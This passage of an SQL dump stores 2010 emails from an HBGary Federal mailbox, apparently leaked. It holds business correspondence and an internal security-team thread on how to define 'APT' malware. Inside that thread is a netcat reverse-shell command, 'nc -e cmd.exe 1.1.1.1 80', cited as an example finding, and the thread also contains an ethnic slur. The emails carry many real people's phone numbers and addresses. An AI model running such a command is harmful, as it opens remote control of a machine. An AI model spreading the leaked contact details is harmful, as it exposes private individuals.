367-7684\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFAX: &nbsp;&nbsp;&nbsp;(443) 367-7948\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCELL: &nbsp;(443) 286-0859\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEMAIL: &nbsp;Robert.A.Paczynski@saic.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Tuesday, June 01, 2010 11:21 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Paczynski, Robert A.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: NANA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Robert,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am the CEO of HBGary Federal, the services sister company to HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInc.. &nbsp;We specialize in incident response (malware analysis),\r\nthreat\r\n\r\n\r\n\r\n\r\n\r\nintelligence, and information operations services. &nbsp;I was given\r\nyour\r\n\r\n\r\n\r\n\r\n\r\ncontact information from Mike Mulville. &nbsp;I spoke with Scott\r\nSheldon as\r\n\r\n\r\n\r\n\r\n\r\nwell a little while back about NANA. &nbsp;Unfortunately we came late\r\nto the\r\n\r\n\r\n\r\n\r\n\r\nparty, we would have very much liked to have been on your team, but we\r\n\r\n\r\n\r\n\r\n\r\njust started the services company in November. &nbsp;I would like to have\r\na\r\n\r\n\r\n\r\n\r\n\r\nbrief conversation with you whenever you are available about our\r\n\r\n\r\n\r\n\r\n\r\ncompany. &nbsp;If there are positions you are having a difficult time\r\n\r\n\r\n\r\n\r\n\r\nfilling, or for potential future positions we would like to be\r\n\r\n\r\n\r\n\r\n\r\nconsidered.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10548,'aaron_hbgary_com/10548.html'),(7371,'2010-06-14','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005385.M680891P14101Q2226.eml','\"Aaron Barr\" <aaron@hbgary.com>','Canceled: Mtg With Aaron Barr (HBGary)','\r\n\r\n\r\n\r\n\r\nCanceled: Mtg With Aaron Barr (HBGary)\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 14, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bob\'s Office\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n &lt;&lt;Re: NANA&gt;&gt; \r\n\r\n\r\nBob Paczynski\r\n\r\n \r\n\r\nScience Applications International Corporation\r\n\r\nIntelligence and Information Solutions Business Unit\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nRoom 4031\r\n\r\nColumbia, MD&nbsp; 21046 \r\n\r\n\r\nTEL:    (443) 367-7684\r\n\r\nCELL:  (443) 286-0859\r\n\r\n\r\n\r\n',11106,'aaron_hbgary_com/11106.html'),(7372,'2010-06-14','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005385.M925635P14101Q2227.eml','aaron@hbgary.com','datasheet','Aaron,\r\n\r\nOn your new datasheet under Information Operations on the back page is an error.  Mitigate is misspelled.\r\n\r\nDave\r\n\r\n',380,'aaron_hbgary_com/380.html'),(7373,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005386.M139384P14101Q2228.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','What about a human based seti program','a charity site where you can list available times as well as any skill sets and you can be linked up with charity needs.  Printing flyers, licking stamps ....\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3582,'aaron_hbgary_com/3582.html'),(7374,'2010-06-14','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','/aaron@hbgary.com/new/1297005386.M369702P14101Q2229.eml','krbeli@nsa.gov,dmitri.alperovitch@mcafee.com,michael.sikorski@mandiant.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>,g.lee@dewnet.ncsc.mil,\"Windsor, Stephen [USA]\" <windsor_stephen@bah.com>,kickjb@mitre.org,\"Adams, Nate\" <nadams@mitre.org>,carter.stephen@gmail.com,aaron@hbgary.com,Ann.Barron-DiCamillo@disa.mil,\"Toll, Michael\" <mjtoll@nsa.gov>,dlittle@restarea.ncsc.mil,mhaney@restarea.ncsc.mil,\"Windsor, Stephen [USA]\" <windsor_stephen@bah.com>,mark.debels@dc3.mil,\"Carbin, Jeffery J.\" <j.carbin@radium.ncsc.mil>,\"Rogers, Bruce J\" <bjroger@nsa.gov>,\"Graham, Kimberly A\" <kagraha@nsa.gov>,aaronmar@microsoft.com,Peter.Parker@g2-inc.com,\"Frye, Keily L\" <klfrye@nsa.gov>,randal.vickers@dhs.gov,krbeli@nsa.gov,dmitri.alperovitch@mcafee.com,michael.sikorski@mandiant.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>','ReBl Briefs Needed ASAP','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nAs of 1000 on 14 June 2010, no member of the ReBl planning\r\ncommittee has a soft copy of your brief.&nbsp; Please let those in the CC&#8217;ed\r\nline know whether you will be bringing a copy of your brief on CD (that will\r\nnot be returned to you) or if you will be forwarding us the brief.&nbsp; This\r\nneeds to be done as soon as possible.\r\n\r\n&nbsp;\r\n\r\nWe look forward to hearing your brief this week.&nbsp; \r\n\r\n&nbsp;\r\n\r\nR,\r\n\r\nCorinne\r\n\r\n&nbsp;\r\n\r\n_______________________________________________________________________________\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue\r\nTeam Planner\r\n\r\nccliddy@nsa.gov\r\n***ccliddy@nsa.smil.mil***ccliddy@nsa.ic.gov\r\n\r\n410.854.8964\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3496,'aaron_hbgary_com/3496.html'),(7375,'2010-06-14','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297005386.M620454P14101Q2230.eml','aaron@hbgary.com','Fwd: Contact','Aaron:I have a home emergency today - I will not be in the office today or tomorrow (let\'s shoot for Wednesday or Thursday?).CharlieBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: June 11, 2010 6:48:00 AM EDTTo: \"charlie@iomaxis.com\" &lt;charlie@iomaxis.com&gt;Subject: ContactAaron@HBGary.com7195108478AaronSent from my iPad\r\n',7610,'aaron_hbgary_com/7610.html'),(7376,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005386.M851278P14101Q2231.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Contact','No Problem. &nbsp;How is your schedule on Monday? &nbsp;I will be down in Miami the rest of the week for the FIRST conference.AaronOn Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:Aaron:I have a home emergency today - I will not be in the office today or tomorrow (let\'s shoot for Wednesday or Thursday?).CharlieBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: June 11, 2010 6:48:00 AM EDTTo: \"charlie@iomaxis.com\" &lt;charlie@iomaxis.com&gt;Subject: ContactAaron@HBGary.com7195108478AaronSent from my iPad\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11495,'aaron_hbgary_com/11495.html');
INSERT INTO `emails` VALUES (7377,'2010-06-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005387.M383079P14101Q2233.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,','Re: When to call APT and when not (on HBGary engagements)','To shawns point, you can\'t say much about the attacker.  Ideaally you\r\nwould know, but you won\'t most of the time.  That is why we were\r\nsuggesting any generic c2 should be considered apt, as opposed to\r\nwaiting for some live attacker to actually use it.\r\n\r\nGreg\r\n\r\nOn Sunday, June 13, 2010, Phil Wallisch  wrote:\r\n> I think it\'s pretty simple.  Is the malware part of an organized attack which allows an external party to accomplish their predetermined mission?  That mission could be data exfil, data destruction, malware plants for future use etc.\r\n>\r\n> If I find \"nc -e cmd.exe 1.1.1.1 80\" tomorrow (where 1.1.1.1 is in mainland China)...guess what?  That netcat code written in 1998 is APT in my book.\r\n> Like Greg said in the original email here, it\'s not the code, it\'s the actors.  We need to keep reminding ourselves of this b/c it\'s not intuitive.\r\n>\r\n> On Sun, Jun 13, 2010 at 8:44 PM, Greg Hoglund  wrote:\r\n>\r\n>\r\n> What do you think of a simplied criteria --  Simply this: if the malware has C2 or exfils \"sensitive\" data, it\'s APT. \"Sensitive\" includes keylogging, email, files, passwords, or credentials.  \"Sensitive\" does NOT include online banking credentials, account numbers, or SSN\'s.\r\n>\r\n>\r\n>\r\n> To elaborate, if there is C2 that means the malware can be driven by an attacker.  We can reverse engineer the C2 to determine capability, but most have the basic get/put/sleep/execute design pattern.  That means it\'s a potential vector for APT style attacks. If the malware doesn\'t have C2 but does exfil data that would be valuable for an APT style attack, it\'s APT. For example, if the malware is pre-programmed to exfiltrate data that would be valuable for APT style attacks, including keylogging, email, files, passwords, or credentials, it\'s APT.\r\n>\r\n> On the other hand, if a malware is pre-programmed to do something like an automaton (with no C2), such as _only_ redirect ad-clicks to a competitor, or _only_ steal online banking identity, that does not involve exfil of sensitive information beyond banking/personal identity, then it\'s not APT.  The reason we would not consider personal identity as sensitive in this case is because customers will associate that with Russian mobsters and not Chinese APT.  However, if the exfil includes keylogging and such, it MUST be considered APT by this standard.\r\n>\r\n>\r\n>\r\n> It should be noted that if we used the above as our definition, then most malware, including malware that is part of Russian botnets, will be considered APT.  This is because almost all malware, even Russian botnets, have generic C2, download-and-execute, in-field update, and keylogging.\r\n>\r\n>\r\n>\r\n> -G\r\n>\r\n>\r\n> On Sun, Jun 13, 2010 at 2:44 PM, Shawn Bracken  wrote:\r\n> If we\'re going to use the term APT on the regular I think we should disambiguate it a little bit in our professional speak. I personally think that the term APT isn\'t descriptive enough because it doesn\'t effectively contain any verbage or variants that describe the current threat level of the package in question. I propose we consider something like the following set of terms:\r\n>\r\n>\r\n> Active-APT: Any binary that directly or indirectly has the ability to recieve command and control commands from an KNOWN or UNKNOWN ACTIVE, INTERNET based controller that has NOT been blackholed internet-wide (This specifically includes any binary that contains any dynamic C&C method that can still be activated in the future (dyndns, wheel-of-1000-webservers) should be called \"Active-APT\"\r\n>\r\n>\r\n>\r\n>\r\n> Dormant-APT: Any binary had the ability to recieve command and control messages at some point in time but who\'s C&C INTERNET BASED controller is no longer online, blackholed, etc AND contains no mechanism to update to a new controller. These should be still cleaned up obviously - but are of a potentially lesser threat level than any ACTIVE-APT\r\n>\r\n>\r\n>\r\n>\r\n> APT Support Binary: An APT support binary is any binary that is used as a utility/helper binary of an APT package. These are binaries contain no direct C&C capabilities themselves and\r\n> are specifically data collection/mining applications like the \"update.exe\". These binaries are specifically \"child\" binaries that often can get self-extracted as part of the APT setup. Also in this class would be re-installation EXE\'s that have no C&C but specifically exist to re-install the main APT package if any of its components are detected as being removed.\r\n>\r\n>\r\n>\r\n>\r\n> APT-Worm: Any binary that a propogates automatically and contains either a C&C capability OR if any evidence exists of it being targetted at specific groups\r\n>\r\n>\r\n> NonAPT-Worm: Any binary that propogates automatically over the network but does NOT contain C&C capabilities and is not explicitly targetted at the customer network in question\r\n>\r\n>\r\n> Attacker Support Binary: This is any file found on the system that was uploaded by the attacker but that as far as we can tell is NOT part of the standard set of files dropped/used in every instance of the APT installation. Tools such as the--\r\n> Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n>\r\n>\r\n',474,'aaron_hbgary_com/474.html'),(7378,'2010-06-14','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297005387.M647876P14101Q2234.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contact','AaronMonday is open now moved a few appointments - suggest time AM or PM &nbsp;- we can do lunch too.CharlieOn Jun 14, 2010, at 10:34 AM, Aaron Barr wrote:No Problem. &nbsp;How is your schedule on Monday? &nbsp;I will be down in Miami the rest of the week for the FIRST conference.AaronOn Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:Aaron:I have a home emergency today - I will not be in the office today or tomorrow (let\'s shoot for Wednesday or Thursday?).CharlieBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: June 11, 2010 6:48:00 AM EDTTo: \"charlie@iomaxis.com\" &lt;charlie@iomaxis.com&gt;Subject: ContactAaron@HBGary.com7195108478AaronSent from my iPad\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16225,'aaron_hbgary_com/16225.html'),(7379,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005387.M866841P14101Q2235.eml','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','Re: ReBl Briefs Needed ASAP','I will bring mine on CD.AaronOn Jun 14, 2010, at 10:30 AM, Liddy, Corinne C wrote:All-&nbsp;As of 1000 on 14 June 2010, no member of the ReBl planning committee has a soft copy of your brief.&nbsp; Please let those in the CC’ed line know whether you will be bringing a copy of your brief on CD (that will not be returned to you) or if you will be forwarding us the brief.&nbsp; This needs to be done as soon as possible.&nbsp;We look forward to hearing your brief this week.&nbsp;&nbsp;R,Corinne&nbsp;_______________________________________________________________________________Corinne LiddyRed/Blue&nbsp;Team Plannerccliddy@nsa.gov&nbsp;***ccliddy@nsa.smil.mil***ccliddy@nsa.ic.gov410.854.8964&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8556,'aaron_hbgary_com/8556.html'),(7380,'2010-06-14','\"Michael G. Spohn\" <mike@hbgary.com>','/aaron@hbgary.com/new/1297005387.M89319P14101Q2232.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,','Re: When to call APT and when not (on HBGary engagements)','\r\n\r\n\r\n  \r\n\r\n\r\nI think we should start with this definition and\r\nrefine it from there:\r\n\r\nhttp://en.wikipedia.org/wiki/Advanced_Persistent_Threat\r\n\r\nMGS\r\n\r\nOn 6/13/2010 7:24 PM, Phil Wallisch wrote:\r\nI think it\'s pretty simple. &nbsp;Is the malware part of an\r\norganized attack which allows an external party to accomplish their\r\npredetermined mission? &nbsp;That mission could be data exfil, data\r\ndestruction, malware plants for future use etc.\r\n  \r\n  \r\n  If I find \"nc -e cmd.exe 1.1.1.1 80\" tomorrow (where 1.1.1.1 is\r\nin mainland China)...guess what? &nbsp;That netcat code written in 1998 is\r\nAPT in my book. &nbsp;\r\n  \r\n  \r\n  Like Greg said in the original email here, it\'s not the code,\r\nit\'s the actors. &nbsp;We need to keep reminding ourselves of this b/c it\'s\r\nnot intuitive.\r\n  \r\n  On Sun, Jun 13, 2010 at 8:44 PM, Greg\r\nHoglund &lt;greg@hbgary.com&gt; wrote:\r\n  \r\n    &nbsp;\r\n    What do you think of a simplied criteria --&nbsp; Simply this: if\r\nthe malware has C2 or exfils \"sensitive\" data, it\'s APT. \"Sensitive\"\r\nincludes keylogging, email, files, passwords, or credentials.&nbsp;\r\n\"Sensitive\" does NOT include online banking credentials, account\r\nnumbers, or SSN\'s.\r\n    &nbsp;\r\n    To elaborate, if there is C2 that means the malware can be\r\ndriven by an attacker.&nbsp; We can reverse engineer the C2 to determine\r\ncapability, but most have the basic get/put/sleep/execute design\r\npattern.&nbsp; That means it\'s a potential vector for APT style attacks. If\r\nthe malware doesn\'t have C2 but does exfil data that would be valuable\r\nfor an APT style attack, it\'s APT.&nbsp;For example,&nbsp;if the malware is\r\npre-programmed to exfiltrate data that would be valuable for APT style\r\nattacks, including keylogging, email, files, passwords, or credentials,\r\nit\'s APT.\r\n    \r\n    On the other hand, if a malware is pre-programmed to do\r\nsomething like an automaton (with no C2), such as _only_ redirect\r\nad-clicks to a competitor, or _only_ steal&nbsp;online banking\r\nidentity,&nbsp;that does not involve exfil of sensitive information beyond\r\nbanking/personal identity, then it\'s not APT.&nbsp; The reason we would not\r\nconsider personal identity as sensitive in this case is because\r\ncustomers will associate that with Russian mobsters and not Chinese\r\nAPT.&nbsp; However, if the exfil includes keylogging and such, it MUST be\r\nconsidered APT by this standard.\r\n    &nbsp;\r\n    It should be noted that if we used the above as our\r\ndefinition, then most malware, including malware that is part of\r\nRussian botnets, will be considered APT.&nbsp; This is because almost all\r\nmalware, even Russian botnets, have generic C2, download-and-execute,\r\nin-field update, and keylogging.\r\n    &nbsp;\r\n    \r\n    -G\r\n    \r\n    \r\n    \r\n    \r\n&nbsp;\r\n    On Sun, Jun 13, 2010 at 2:44 PM, Shawn\r\nBracken &lt;shawn@hbgary.com&gt;\r\nwrote:\r\n    If we\'re going to use the term APT on the regular\r\nI think we should disambiguate it a little bit in our professional\r\nspeak. I personally think that the term APT isn\'t descriptive enough\r\nbecause it doesn\'t effectively contain any verbage or variants that\r\ndescribe the current threat level of the package in question. I propose\r\nwe consider something like the following set of terms:\r\n      \r\n      \r\n      Active-APT: Any binary that directly or indirectly\r\nhas the ability to recieve command and control commands from an KNOWN\r\nor UNKNOWN ACTIVE, INTERNET based controller that has NOT been\r\nblackholed internet-wide (This specifically includes any binary that\r\ncontains any dynamic C&amp;C method that can still be activated in the\r\nfuture (dyndns, wheel-of-1000-webservers) should be called \"Active-APT\"\r\n      \r\n      \r\n      Dormant-APT: Any binary had the ability to recieve\r\ncommand and control messages at some point in time but who\'s C&amp;C\r\nINTERNET BASED controller is no longer online, blackholed, etc AND\r\ncontains no mechanism to update to a new controller. These should be\r\nstill cleaned up obviously - but are of a potentially lesser threat\r\nlevel than any ACTIVE-APT\r\n      \r\n      \r\n      APT Support Binary: An APT support binary is any\r\nbinary that is used as a utility/helper binary of an APT package. These\r\nare binaries contain no direct C&amp;C capabilities themselves and\r\n      are specifically data collection/mining applications like\r\nthe \"update.exe\". These binaries are specifically \"child\" binaries that\r\noften can get self-extracted as part of the APT setup. Also in this\r\nclass would be re-installation EXE\'s that have no C&amp;C but\r\nspecifically exist to re-install the main APT package if any of its\r\ncomponents are detected as being removed.\r\n      \r\n      \r\n      APT-Worm: Any binary that a propogates automatically\r\nand contains either a C&amp;C capability OR if any evidence exists of\r\nit being targetted at specific groups\r\n      \r\n      \r\n      NonAPT-Worm: Any binary that propogates automatically\r\nover the network but does NOT contain C&amp;C capabilities and is not\r\nexplicitly targetted at the customer network in question\r\n      \r\n      \r\n      Attacker Support Binary:&nbsp;This is any file found on\r\nthe system that was uploaded by the attacker but that as far as we can\r\ntell is NOT part of the standard set of files dropped/used in every\r\ninstance of the APT installation. Tools such as the pass the hash\r\ntoolkit, uploaded port scanners, etc\r\n      \r\n      \r\n      Virus: Any old-style self replecating, file system\r\nONLY based code. Must NOT have any C&amp;C/exfiltration capabilites.&nbsp;\r\n      \r\n      \r\n      Thoughts?\r\n      \r\n      \r\n      \r\n      On Sat, Jun 12, 2010 at 9:00 PM, Greg\r\nHoglund &lt;greg@hbgary.com&gt;\r\nwrote:\r\n      \r\n        &nbsp;\r\n        Mike, team,\r\n        &nbsp;\r\n        HBGary services needs to have a concise definition of what\r\nthey consider to be APT.&nbsp; Since APT is associated with targeted\r\nattacks, then any malware that represents a pathway vector for a\r\ntargeted attack should be considered APT. Remember, it\'s not the\r\nmalware, its the human operating it.&nbsp; Most of the time you can\'t say\r\nsquat about who is operating it, so if the malware represents a\r\npotential vector of attack, then consider it APT - don\'t wait for the\r\nattacker to actually log in and steal something before the malware is\r\nconsidered APT.\r\n        &nbsp;\r\n        We need to be careful about the lack of formal definition\r\naround the term APT.&nbsp; I have seen numerous malware shrugged off as\r\nnon-APT during the QNA engagement.&nbsp; I have noticed an attitude about\r\nwhat APT is or is-not.&nbsp; That is not a good road for us.&nbsp; When we detect\r\nmalware that can function as an attack tool, it should be considered\r\nAPT and worthy of respect.&nbsp; \r\n        &nbsp;\r\n        Here are some things I have noticed:\r\n        - if the malware comes back with a \'label\' or \'name\' from\r\nan AV vendor on virustotal, there is an attitude that it\'s not APT\r\n        - if the malware has generic attack tool capability, but\r\nis known by a popular botnet name, such as zues or conficker, it\'s not\r\ncalled APT (I have heard a customer say \'we don\'t care about zues\')\r\n        - one malware at QNA, based on Pinch, had a generic\r\ndownload-and-execute capability, but it was not considered APT.&nbsp; The\r\nonly reason it was not considered APT was because it was a \'named\'\r\nmalware.&nbsp; In all other respects it had the same capability as\r\nntshrui.dll which _was_ considered APT.\r\n        - the customer did not need \'proof\' that chinese hackers\r\nwere using a malware to call it APT.&nbsp; The ntshrui.dll was only a\r\ndownload-and-execute capability, and was not used,&nbsp;and it was\r\nconsidered APT.&nbsp; If that constitutes the definition, then the\r\npinch&nbsp;malware should have been called APT as well, because they\r\nwere&nbsp;logically&nbsp;equivalent in terms of capability and usage.\r\n        - in one case, terramark gave some ip\'s to QNA, which we\r\nfollowed up on to find it was&nbsp;just generic&nbsp;\'named\' malware, but because\r\nterramark gave the ip\'s the malware was considered APT\r\n        &nbsp;\r\n        It\'s very clear that the customer will call it APT when we\r\ntell them it\'s APT - they have no ability to figure this out on their\r\nown.&nbsp; So, we need to have&nbsp;rules about when to call it APT.&nbsp;\r\n        &nbsp;\r\n        We have a good chance to test our criteria on a new\r\nsuspicious DLL.&nbsp; Do we call it APT or not?&nbsp;&nbsp;Phil found a DLL that\r\nappears to be a trojan zip library.&nbsp; The legitimate zip library was\r\ndownloaded and compared by Martin, and the suspected trojan is\r\ncompletely different.&nbsp; Furthermore, the suspected trojan is packed in\r\nexactly the same way as the iprinp and rasauto32 malware programs (both\r\nof which were called APT).&nbsp; The suspected trojan&nbsp;is resisting analysis\r\n(both Martin and Greg tried) and we have been unable to REcon trace it,\r\nand it appears to be VM-aware.&nbsp; At-a-glance analysis&nbsp;shows us it has\r\nmany malware-like traits.&nbsp;&nbsp;OK - so what criteria do we use to determine\r\nif this APT?\r\n        &nbsp;\r\n        Here are&nbsp;a spectrum of&nbsp;different options:\r\n        &nbsp;- we don\'t want to waste any more money testing it,\r\nbecause it\'s clearly not the legit app, so it\'s good enough to call APT\r\nand get rid of it\r\n        &nbsp;- only if we can determine it has generic\r\ndownload-and-execute capability, it\'s APT\r\n        &nbsp;- only if we can determine it gets commands from a C2\r\nserver, regardless of country, it\'s APT\r\n        &nbsp;- only if we can determine it gets commands from a C2\r\nserver in&nbsp;one of the chinese dyndns we are already aware of, call it APT\r\n        &nbsp;- same as the above, but any C2 server in china is good\r\nenough to call it APT\r\n        &nbsp;- we don\'t call it APT until we see chinamen logging into\r\nit and stealing ITAR data, then we call it APT and worry about it after\r\nthat\r\n        &nbsp;\r\n        I think it\'s very important that HBGary put a formal line\r\nin the sand about what&nbsp;we consider APT, because the customer is\r\nexpecting HBGary to tell THEM when it\'s APT.&nbsp; They have no idea how to\r\ndetermine that themselves, so we certainly should _not_ be waiting for\r\nthe customer to tell us what constitutes a worthy threat and what\r\ndoesn\'t.&nbsp; \r\n        &nbsp;\r\n        Sorry for the long email, but I think this is important,\r\n        -Greg\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n  \r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n  \r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n916-481-1460\r\n  \r\nWebsite: http://www.hbgary.com\r\n| Email: phil@hbgary.com\r\n| Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director &#8211; Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',7462,'aaron_hbgary_com/7462.html'),(7381,'2010-06-14','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','/aaron@hbgary.com/new/1297005388.M563265P14101Q2236.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ReBl Briefs Needed ASAP','',12356,'aaron_hbgary_com/12356.html'),(7382,'2010-06-14','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005388.M804558P14101Q2237.eml','\"Aaron Barr\" <aaron@hbgary.com>','The List','\r\n\r\n\r\n\r\n\r\nThe List\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWe are excited to start putting together an advanced technical team here at TASC.&nbsp; In our last meeting you mentioned you were putting a list of those folks together.&nbsp; As you may have heard in our meeting that I am able to meet some of my deadlines but really need help in PM and development (Java, C, C++).&nbsp; I also have a real need for the right XML\\SGML Perl type if that exists too and our production studio is always in&nbsp; need of creative people.&nbsp; I am also reminded that there is a move to develop mobile apps and we need to staff that too.\r\n\r\nI have some latitude to hire in the next week or so depending on the capabilities of individuals.\r\n\r\nPlease send over the list&nbsp; as soon as you can and let me know what you think.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10872,'aaron_hbgary_com/10872.html'),(7383,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005389.M187808P14101Q2238.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: The List','Begin forwarded message:From: \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;Date: June 14, 2010 11:06:50 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: The List\r\n\r\nHi Aaron,We are excited to start putting together an advanced technical team here at TASC.&nbsp; In our last meeting you mentioned you were putting a list of those folks together.&nbsp; As you may have heard in our meeting that I am able to meet some of my deadlines but really need help in PM and development (Java, C, C++).&nbsp; I also have a real need for the right XML\\SGML Perl type if that exists too and our production studio is always in&nbsp; need of creative people.&nbsp; I am also reminded that there is a move to develop mobile apps and we need to staff that too.I have some latitude to hire in the next week or so depending on the capabilities of individuals.Please send over the list&nbsp; as soon as you can and let me know what you think.Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',280,'aaron_hbgary_com/280.html'),(7384,'2010-06-14','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005389.M595230P14101Q2239.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','Aaron,\r\n&nbsp;\r\nThank you, I will see you next Tuesday, 11:15\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul--- On Mon, 6/14/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Monday, June 14, 2010, 8:32 AM\r\nHi Paul,\r\n\r\nI just sent you a tentative date change. &nbsp;I can meet on Thursday as 